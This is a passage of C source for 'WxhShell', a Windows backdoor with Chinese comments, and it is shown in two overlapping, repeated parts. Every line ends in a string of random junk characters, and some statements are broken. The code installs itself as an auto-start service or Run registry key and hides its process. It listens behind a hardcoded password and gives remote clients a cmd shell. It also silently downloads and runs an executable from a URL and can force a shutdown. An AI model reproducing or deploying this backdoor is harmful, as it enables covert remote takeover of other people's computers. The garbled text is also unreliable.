    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CUH u=  
    else { `K+%/|!  
    closesocket(wsh); su=MMr>  
    ExitThread(0); [06m{QJ)1  
    } lmHQ"z 3G  
    break; iy]L"7&Z2  
    } #2%V  
  // 获取shell W|fE]RY  
  case 's': { h.#:7d(g  
    CmdShell(wsh); 8Snv, Lb`^  
    closesocket(wsh); A+Isk{d  
    ExitThread(0); HoAg8siQ  
    break; RRS)7fFm  
  } D`^wj FF  
  // 退出 M&/4SVBF  
  case 'x': { 9yTdbpY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tKUW  
    CloseIt(wsh); yW'{Z]09  
    break; [Lje?M* r  
    } L:Rg3eo  
  // 离开 +8Q @R)3  
  case 'q': { CtN\-E-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *cWHl@4  
    closesocket(wsh); 7Ji'7$  
    WSACleanup(); )C?H m^ #  
    exit(1); a+lNXlh=  
    break; %$zak@3%'  
        } ({Md({|  
  } Axb=1_--  
  } ]QJ5JtD-  
>e/>@ J*  
  // 提示信息 vd#)+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0/ 33Z Oc  
} 8Pd9&/Y  
  } p%*s3E1.D  
Sw E7U~  
  return; &AxtSIpucP  
} SW}Rkr\e  
/_J{JGp9  
// shell模块句柄 rWJ5C\R  
int CmdShell(SOCKET sock) o?/H<k\5  
{ {jYVA~.|Z  
STARTUPINFO si; B<BS^waU  
ZeroMemory(&si,sizeof(si)); 0/DO"pnL@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ng;?hTw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6X A(<1P  
PROCESS_INFORMATION ProcessInfo; g#74c'+  
char cmdline[]="cmd"; REU&8J@k&?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VOr: G85*s  
  return 0; ~tfd9,t  
} 30WOH 'n  
iNkN'("  
// 自身启动模式 &8i$`6wY  
int StartFromService(void) )=gU~UV  
{ u*%mUh  
typedef struct "#pxZ B=  
{ 1qAE)8ie  
  DWORD ExitStatus; $}b)EMMM  
  DWORD PebBaseAddress; Xe&9| M  
  DWORD AffinityMask; y-H9fWi8Y&  
  DWORD BasePriority; HFjSM~  
  ULONG UniqueProcessId; +`"Tn`O  
  ULONG InheritedFromUniqueProcessId; cz/ E  
}   PROCESS_BASIC_INFORMATION; ^bPpcm=  
*^; MWI  
PROCNTQSIP NtQueryInformationProcess; +UOVD:G  
Bt")RG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ms5qQ<0v_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S)ipkuj X  
Zbr e5&aU  
  HANDLE             hProcess; e%ro7~  
  PROCESS_BASIC_INFORMATION pbi; r$4d4xtK  
Tz6I7S-w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pw]+6  
  if(NULL == hInst ) return 0; R73@!5N%  
Pm^FSw"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Jiy`(P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Mg3P_}=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &Hf%Va[B  
k1g-%DB  
  if (!NtQueryInformationProcess) return 0; sd+_NtH  
6v scu2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vCt][WX(  
  if(!hProcess) return 0; 'tkQz  
dEMv9"`*!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;,]4A{|  
,ko#z}Z4r,  
  CloseHandle(hProcess); X7K{P_5l  
y[Dgyt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ux^ue9  
if(hProcess==NULL) return 0; pheu48/f  
5G'2 Wby'#  
HMODULE hMod; =ePwGm1:c  
char procName[255]; Q: -&  
unsigned long cbNeeded; -@w}}BR  
#sF#<nHZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $Sy}im\H  
ZB$yEW]]~  
  CloseHandle(hProcess); Z;+;_Cw  
u&={hJ&7  
if(strstr(procName,"services")) return 1; // 以服务启动 n87Uf$  
1xkk5\3]  
  return 0; // 注册表启动 v#g:]T  
} Z{%W!>0  
Y@UW\d*'%I  
// 主模块 IAb.Z+ig  
int StartWxhshell(LPSTR lpCmdLine) 46l*ui_  
{ G]xN#O;  
  SOCKET wsl; ".AW   
BOOL val=TRUE; 7|Wst)_~j  
  int port=0; RJ4=AA|  
  struct sockaddr_in door; 32j#kJW  
1=>b\"P#E  
  if(wscfg.ws_autoins) Install(); ey<z#Q5+  
VJ&-Z |  
port=atoi(lpCmdLine); $b^niL  
 0RCp  
if(port<=0) port=wscfg.ws_port; XF3lS#pt  
1p/_U?H:|  
  WSADATA data; !p36OEx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WT,dTn;W  
-zt*C&)b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %F-yF N"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cZ`%Gt6g  
  door.sin_family = AF_INET; ZX+0{E8a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0#Q]>V@rO4  
  door.sin_port = htons(port); $LU|wW  
rnMi >?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n sN n>{  
closesocket(wsl); a|dgK+[  
return 1; BdvpG  
} y{P~!Yn|  
8<6@O  
  if(listen(wsl,2) == INVALID_SOCKET) { d[;&2Jz*  
closesocket(wsl); ]$UTMuO Ql  
return 1; ??hKsjNAm0  
} I&1.}{G>F  
  Wxhshell(wsl); X`E}2|q'  
  WSACleanup(); {~\:4  
r|bGn#^  
return 0; #{)mr [c|  
1csbuR?  
} o {q8An)  
WwKpZ67$R  
// 以NT服务方式启动 3-0jxx(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b9b`%9/L  
{ : IsJE6r  
DWORD   status = 0; >*l2]3' `  
  DWORD   specificError = 0xfffffff; 7Y 4D9pw  
V+|$H h8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]P^ 3uXi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9CIQRc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vd) %qw  
  serviceStatus.dwWin32ExitCode     = 0; m60hTJ?N)  
  serviceStatus.dwServiceSpecificExitCode = 0; ^6CPC@B1  
  serviceStatus.dwCheckPoint       = 0; axXR-5c  
  serviceStatus.dwWaitHint       = 0; ;'!h(H  
r24 s_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kMa|V0  
  if (hServiceStatusHandle==0) return; ^}z:FI   
54s90  
status = GetLastError(); 0(uba3z  
  if (status!=NO_ERROR) sG|,#XQ  
{ tg%Sn+:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O15~\8#'  
    serviceStatus.dwCheckPoint       = 0; &MONg=s3  
    serviceStatus.dwWaitHint       = 0; p .~5k  
    serviceStatus.dwWin32ExitCode     = status; `Y '-2Fv  
    serviceStatus.dwServiceSpecificExitCode = specificError;  $iH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4;IZ}9|G  
    return; >;xkiO>Y  
  } !0X"^VB  
I|/|\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ' #t1e]  
  serviceStatus.dwCheckPoint       = 0; [#:yOZt  
  serviceStatus.dwWaitHint       = 0; p5nrPL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tKi ^0vE8  
} <V8=*n"mR  
qV$0 ";d  
// 处理NT服务事件,比如:启动、停止 %we! J%'Y]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s"wz !{G4  
{ =NRiro  
switch(fdwControl) Tkh?F5l  
{ dTU`@!f  
case SERVICE_CONTROL_STOP: (b.Mtd  
  serviceStatus.dwWin32ExitCode = 0; lqoVfj'6M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w-wJhc|  
  serviceStatus.dwCheckPoint   = 0; (Y?}'?  
  serviceStatus.dwWaitHint     = 0; w/fiNY5FZ  
  { /'>ck2drjk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U}-hV@y  
  } eoiC.$~\  
  return; /cD]m  
case SERVICE_CONTROL_PAUSE: bde6 ;=oM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y$ ZDJNz  
  break; 3KKq1][  
case SERVICE_CONTROL_CONTINUE: &e4EZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {~=gKZ:-@  
  break; D rouEm  
case SERVICE_CONTROL_INTERROGATE: yyjgPbLN=  
  break; 61z^(F$@  
}; Wb{8WPS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); **n109R  
} Q>/[*(.Wd  
lIatM@gU  
// 标准应用程序主函数 "Z a}p|Ct  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5PKdMEK|q  
{ E{B40E~4  
{1vlz>82  
// 获取操作系统版本 q0_Pl*  
OsIsNt=GetOsVer(); wH qbTA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YtT:\#D  
tlmfDQD  
  // 从命令行安装 `?(9Bl  
  if(strpbrk(lpCmdLine,"iI")) Install(); $0;Dk,  
1FRpcE  
  // 下载执行文件 e]l.m!,r  
if(wscfg.ws_downexe) { {y>Kcfc/?E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ur/:aI  
  WinExec(wscfg.ws_filenam,SW_HIDE); @IBU{{  
} 1,sD'iNb  
}RkD7  
if(!OsIsNt) { x#tP)5n?s*  
// 如果时win9x,隐藏进程并且设置为注册表启动 &PEw8: TX  
HideProc(); eJZt&|7N  
StartWxhshell(lpCmdLine); )G$0:-J-  
} MSS0Sx<f  
else !r_2b! dy  
  if(StartFromService()) t. kOR<  
  // 以服务方式启动 myWa>Mvb  
  StartServiceCtrlDispatcher(DispatchTable); (w, Gv-S  
else h4? 'd+K  
  // 普通方式启动 6\/(TW&  
  StartWxhshell(lpCmdLine); iD!]I$  
2-u9%  
return 0;  f(*^zga,  
} 'uF"O"*  
E`UEl$($  
nOUF<DNQ  
!\1Pu|  
=========================================== k*= #XbX  
@RI\CqFHR  
RD'i(szi?  
' sTMUPg`  
J]4Uh_>)  
B3&`/{u  
" Ha20g/ UN.  
t9m08K:Y  
#include <stdio.h> t>(}LV.  
#include <string.h> NT [~AK9M  
#include <windows.h> LD)P. f  
#include <winsock2.h> xw&N[ y5  
#include <winsvc.h> [e`6gGO  
#include <urlmon.h> THDyb9_g  
dht*1i3v  
#pragma comment (lib, "Ws2_32.lib") g%f6D%d)A  
#pragma comment (lib, "urlmon.lib") ioS(;2F  
RE75TqYW  
#define MAX_USER   100 // 最大客户端连接数 [>U =P`  
#define BUF_SOCK   200 // sock buffer NYp46;  
#define KEY_BUFF   255 // 输入 buffer zvnR'\A_  
.uu[MzMIu  
#define REBOOT     0   // 重启 XSz)$9~hk  
#define SHUTDOWN   1   // 关机 Lkl ^ `  
jr=erVHK  
#define DEF_PORT   5000 // 监听端口 f 8836<c  
@t?uhT*Z=  
#define REG_LEN     16   // 注册表键长度 O0 ,=@nw8.  
#define SVC_LEN     80   // NT服务名长度 |4|j5<5  
I Z{DR  
// 从dll定义API l^E)XWd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c0u1L@tj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "AUHe6Yv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .=<<b|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?mJ&zf|B8  
M[7$cfp-Y~  
// wxhshell配置信息 !qF t:{-h  
struct WSCFG { ?_b zg'  
  int ws_port;         // 监听端口 V`XtGTx  
  char ws_passstr[REG_LEN]; // 口令 +LsACSB  
  int ws_autoins;       // 安装标记, 1=yes 0=no w [7vxQ!-  
  char ws_regname[REG_LEN]; // 注册表键名 {pyTiz#JY  
  char ws_svcname[REG_LEN]; // 服务名 B`<K]ut  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?hS&OtW   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c.eA]mq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f jm(C#^-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }IGoPCV|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p;<brwN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YPNG9^Y  
IG=#2 /$  
}; :J6lJ8w ?  
-{rUE +  
// default Wxhshell configuration D>efr8Qd@  
struct WSCFG wscfg={DEF_PORT, s'JbG&T[J  
    "xuhuanlingzhe", ]ovb!X_  
    1, hO] vy>i;  
    "Wxhshell", s'Wu \r'  
    "Wxhshell", n!$zO{P  
            "WxhShell Service", @J UCXm  
    "Wrsky Windows CmdShell Service", #cy;((zuB  
    "Please Input Your Password: ", NANgV~Y&  
  1, }*9mNE  
  "http://www.wrsky.com/wxhshell.exe", Ty;P`Uv]r  
  "Wxhshell.exe" I$w:qS&:  
    }; Iu|4QE  
pDV8B/{  
// 消息定义模块 A{Dy3tm=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bx8;`Q MX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {YigB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K@>($BX]  
char *msg_ws_ext="\n\rExit."; @[. 0,  
char *msg_ws_end="\n\rQuit."; aT"0tn^LO  
char *msg_ws_boot="\n\rReboot..."; ^(on"3sG  
char *msg_ws_poff="\n\rShutdown..."; H4"'&A7$  
char *msg_ws_down="\n\rSave to "; s2*~n_B  
-h8@B+  
char *msg_ws_err="\n\rErr!"; y0_z_S#gO  
char *msg_ws_ok="\n\rOK!"; [h[@? 8vB  
e> -fI_+b  
char ExeFile[MAX_PATH]; h"$)[k~  
int nUser = 0; mfCp@1;26  
HANDLE handles[MAX_USER]; {k8R6l1  
int OsIsNt; ~D\zz }l  
hxe X6  
SERVICE_STATUS       serviceStatus; e .1! K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *BFG{P  
xka&,`z  
// 函数声明 H=v=)cUe[  
int Install(void); $1}Y4>3  
int Uninstall(void); >&%#`PKT  
int DownloadFile(char *sURL, SOCKET wsh); VtnVl`/]  
int Boot(int flag); PJ3M,2H1b.  
void HideProc(void); d.Ep#4  
int GetOsVer(void); GLWEoV9<  
int Wxhshell(SOCKET wsl); $@^*lUw  
void TalkWithClient(void *cs); v1}9i3Or#  
int CmdShell(SOCKET sock); 5DxNHEuS  
int StartFromService(void); 13K|=6si  
int StartWxhshell(LPSTR lpCmdLine); ^n~bx *f  
1'4?}0Dok  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )/cf%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [D_s`'tg  
=}UcYC6l  
// 数据结构和表定义 (bp4ly^  
SERVICE_TABLE_ENTRY DispatchTable[] = |e{ ^Yf4  
{ Gw-y6e'|Y  
{wscfg.ws_svcname, NTServiceMain}, Ym|%ka  
{NULL, NULL} tg6iHFa  
}; /l>!7  
9oQ$w?=#$  
// 自我安装 PT39VI =  
int Install(void) )0?u_Z]w9  
{ >0E3Em<(}l  
  char svExeFile[MAX_PATH]; _|VF^\i  
  HKEY key; s a{x.2/o}  
  strcpy(svExeFile,ExeFile); <N{Y*,^z  
}?^]-`b  
// 如果是win9x系统,修改注册表设为自启动 u5N&Wn{  
if(!OsIsNt) { pc2;2^U_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -BcnJK0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q1pB~eg5  
  RegCloseKey(key);  OEnCN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I/* ULR,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *BHp?cn;F2  
  RegCloseKey(key); ~yiw{:\  
  return 0; _lrvK99  
    } V@o#" gZ  
  } {5 Sy=Y  
} fUq:`#Q  
else { Zk~~`h  
3HqTVq`&  
// 如果是NT以上系统,安装为系统服务 pv8vW'G\E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y^tUcBm\  
if (schSCManager!=0) ;a 6Z=LB  
{ [*U.bRs  
  SC_HANDLE schService = CreateService H5Bh?mw2  
  ( 46U*70  
  schSCManager, RQYD#4|  
  wscfg.ws_svcname, o1R:1!"2  
  wscfg.ws_svcdisp, QjOY1Xze  
  SERVICE_ALL_ACCESS, sB8v:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MO@XbPZB  
  SERVICE_AUTO_START, {Y|?~ha#  
  SERVICE_ERROR_NORMAL, u0F{.fe  
  svExeFile, MO%+rf0~w  
  NULL, 9#E)H?`g  
  NULL, 089v; d 6  
  NULL, 'U-8w@\Z  
  NULL, P!dSJ1'oC  
  NULL ~S\8 '  
  ); 5a&BgBO1M  
  if (schService!=0) zl<D"eP  
  { <:4b4Nl  
  CloseServiceHandle(schService); [<WoXS1LX  
  CloseServiceHandle(schSCManager);  [ J4n%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CsEU:v  
  strcat(svExeFile,wscfg.ws_svcname); A|YiSwyy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _*ar\A`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I]a [Ngj  
  RegCloseKey(key); f7/M_sx  
  return 0; OlP1Zd/l  
    } MM6PaD{  
  } -"rANP-UI  
  CloseServiceHandle(schSCManager); ^hcK&  
} '^`iF,rg  
} &H[7UyC  
_Kbj?j  
return 1; Ca -.&$f  
} 7(d#zu6n  
@r=,: 'Mt  
// 自我卸载 '<$*N  
int Uninstall(void) :7~DiH:Q  
{ mVEIHzk2b  
  HKEY key; ;3XOk+  
6)c-s|#  
if(!OsIsNt) { {YG qa$+\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p'A43  
  RegDeleteValue(key,wscfg.ws_regname); wLzV#8>  
  RegCloseKey(key); VTwQD"oB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !j%u wje\  
  RegDeleteValue(key,wscfg.ws_regname); U/-k'6=M  
  RegCloseKey(key); />wE[`  
  return 0; gC(@]%  
  } 2 fg P  
} 0BH-kr  
} (/FG#D.  
else { ]=PkgOJD  
h>F"GR?U_(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q4v:s   
if (schSCManager!=0) 5O;D\M{>  
{ l#~pK6@W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M%WO  
  if (schService!=0) j2%fAs<  
  { @}2EEo#  
  if(DeleteService(schService)!=0) { 51tZ:-1!  
  CloseServiceHandle(schService); }0?XF/e(R  
  CloseServiceHandle(schSCManager); Shv$"x:W  
  return 0; &*74 5,e  
  } 6AoKuT;  
  CloseServiceHandle(schService); 'j-U=2,n  
  } 34Cnbtq^  
  CloseServiceHandle(schSCManager); P&Uj?et"  
} ;/t~MH  
} %w?C)$Kn\  
WZTAXOw  
return 1; FmFjRYA W  
} J~n|5* cz  
r`\@Fv,&#  
// 从指定url下载文件 fjy7gC2  
int DownloadFile(char *sURL, SOCKET wsh) m41%?uC/  
{ TV#>x!5!d  
  HRESULT hr; T Y% =Y=  
char seps[]= "/"; B3pjli  
char *token; _z J /z  
char *file; _90<*{bt.  
char myURL[MAX_PATH]; `<kB/T  
char myFILE[MAX_PATH]; O8cZl1C3  
@|5B}%!  
strcpy(myURL,sURL); ioEjbqD<  
  token=strtok(myURL,seps); ?^2nrh,n+  
  while(token!=NULL) q!W=U8`  
  { Y`(~eNX^%  
    file=token; 97qf3^gGd  
  token=strtok(NULL,seps); BMqr YW  
  } 7t1as.  
/]U;7)  
GetCurrentDirectory(MAX_PATH,myFILE); (G/(w%#7_  
strcat(myFILE, "\\"); R>]7l!3^1  
strcat(myFILE, file); |sY  
  send(wsh,myFILE,strlen(myFILE),0); )0DgFA6k_  
send(wsh,"...",3,0); q#SEtyJL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T "hjL  
  if(hr==S_OK) wph8ln"C-  
return 0; ;mRZ_^V;  
else B"zB=Aw  
return 1; Xk/iyp/  
~y?Nn8+&f  
} $VB dd~f  
\XYidj  
// 系统电源模块 )2#&l  
int Boot(int flag) "LJV}L  
{ ca3SE^  
  HANDLE hToken; q"6$#o{~U  
  TOKEN_PRIVILEGES tkp; IUDH"~f  
5423Ky<  
  if(OsIsNt) {  wlsx|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;^u,[d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _C (fz CK  
    tkp.PrivilegeCount = 1; :U *8S\$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n#}~/\P6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^#Mp@HK  
if(flag==REBOOT) { N  /'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4w#2m>.  
  return 0; Srz8sm;  
} sp MYn&p  
else { q |FOU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wy8Q=X:vP  
  return 0; dJ#go*Gn  
} wy .96   
  } ^< ;C IXo  
  else { J3~%9MCJ  
if(flag==REBOOT) { j7QK8O$XL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4/k`gT4  
  return 0; &3;"$P  
} D~BL Txq  
else { g4W/T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H(tC4'tA  
  return 0; )QRT/, ;c  
} }mzd23^W>P  
} |Olz h63k:  
`/'p1?Z"  
return 1; 1G.?Y3DC<  
} Z^z{, u;!  
K *{RGE  
// win9x进程隐藏模块 I>JE\## ^n  
void HideProc(void) rsLkH&aM  
{ Dr(2@ 0P  
MG~Z)+g=y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rd5-ao4  
  if ( hKernel != NULL ) EI7n|X a1q  
  { ~*"ZF-c,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HA,8O [jon  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RgUQ:  
    FreeLibrary(hKernel); t72u%M6  
  } eY'n S  
4L ]4WVc  
return; 7s3=Fa:9Q  
} iw=e"6V  
sNcU>qjj6  
// 获取操作系统版本 p JT)X8K"  
int GetOsVer(void) U,Uy0s2r  
{ od5nRb  
  OSVERSIONINFO winfo; m;\nMdn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jf`w8*R  
  GetVersionEx(&winfo); =}kISh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FU/:'/ L  
  return 1; 4w=v /WDo  
  else fM7B<eB  
  return 0; sve} ent  
} /3Gq&[R{  
ZO cpF1y  
// 客户端句柄模块 m_CW Vw  
int Wxhshell(SOCKET wsl) 8<mloM-4  
{ YY:{/0?  
  SOCKET wsh; yn$1nt4  
  struct sockaddr_in client; iE HWD.u  
  DWORD myID; xw_klHL-o  
pe0ax- Zv  
  while(nUser<MAX_USER) }/&Zo=Q$  
{ :$k1I-^R  
  int nSize=sizeof(client); ]' [:QGr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sn4xv2/  
  if(wsh==INVALID_SOCKET) return 1; Knqv|jJVx1  
- _ 8-i1?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *?d\Zcj85[  
if(handles[nUser]==0) q~ Z UtF  
  closesocket(wsh); A{J?I:  
else ^)Awjj9  
  nUser++; =X^a  
  } _u^3uzu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m"/..&'GC  
gaz",kK<  
  return 0; :Ae#+([V  
} `^[Tu 1  
{<@ud0A:\  
// 关闭 socket JDZuT#  
void CloseIt(SOCKET wsh) ^67}&O^1 ,  
{ l0`bseN <  
closesocket(wsh); 0m]QQGvJ{  
nUser--; F~fBr  
ExitThread(0); NJgu`@YoI  
} WZn;u3,R  
;Ivv4u  
// 客户端请求句柄 7yT/t1)  
void TalkWithClient(void *cs) *EvW: <  
{ )mf|3/o  
=v?P7;T  
  SOCKET wsh=(SOCKET)cs; VgIk'.  
  char pwd[SVC_LEN]; H`fJ< So?  
  char cmd[KEY_BUFF]; MGMJeq vr  
char chr[1]; {*F =&D  
int i,j; 9x!kvB6  
YW6a?f^!  
  while (nUser < MAX_USER) { 21tv(x  
J&fIW Z  
if(wscfg.ws_passstr) { 4-SU\_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pg:xC9w4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6'kQ(r>  
  //ZeroMemory(pwd,KEY_BUFF); 0$c(<+D  
      i=0; e ar:`11z  
  while(i<SVC_LEN) { U)Hc 7% e  
Nv.  
  // 设置超时 (wq8[1Wzup  
  fd_set FdRead; poW%Fzj  
  struct timeval TimeOut; d]E={}qo&  
  FD_ZERO(&FdRead); ;YY<KuT  
  FD_SET(wsh,&FdRead); YR0AI l:L  
  TimeOut.tv_sec=8; jY%.t)>)  
  TimeOut.tv_usec=0; au+Jz_$)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A :KZyd"Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )Cj1VjAg  
=TNFAt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HM0&%  
  pwd=chr[0]; WwTl|wgvyI  
  if(chr[0]==0xd || chr[0]==0xa) { 4V4S5V  
  pwd=0; @@K/0:],  
  break; Vdx o  
  } '_4apyq|  
  i++; _,60pr3D'  
    } /huh}&NNu  
-O?HfQ  
  // 如果是非法用户,关闭 socket (>A#|N1U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); " Zhh>cz  
} ;z9 ,c  
#GlFm?/6K/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +em!TO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B-]bhA4|:  
!9NF@e'&!  
while(1) { zEO~mJzo  
'+{yg+#/wV  
  ZeroMemory(cmd,KEY_BUFF); yp$jLBA  
-hW>1s<  
      // 自动支持客户端 telnet标准   Xwo+iZ(a  
  j=0; *9r(lmrfj  
  while(j<KEY_BUFF) { kP[fhOpn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }"WovU{*s  
  cmd[j]=chr[0]; K;"oK  
  if(chr[0]==0xa || chr[0]==0xd) {  0LL65[  
  cmd[j]=0; HP_h!pvx  
  break; %La7);SeY  
  } 7glf?oE  
  j++; ^`lrKk  
    } pXlqE,  
TA/hj>rV  
  // 下载文件 b3[[ Ah-  
  if(strstr(cmd,"http://")) { [Z2[Iy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j0+D99{R  
  if(DownloadFile(cmd,wsh)) e#k rr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1)h<)  
  else K JOb1MM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f/8&-L  
  } d2i ?FT>  
  else { KG(FA  
VT4 >6u}  
    switch(cmd[0]) { E"p _!!1  
  \.iejB  
  // 帮助 p<'pqf  
  case '?': { k"gm;,`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~ L%,9  
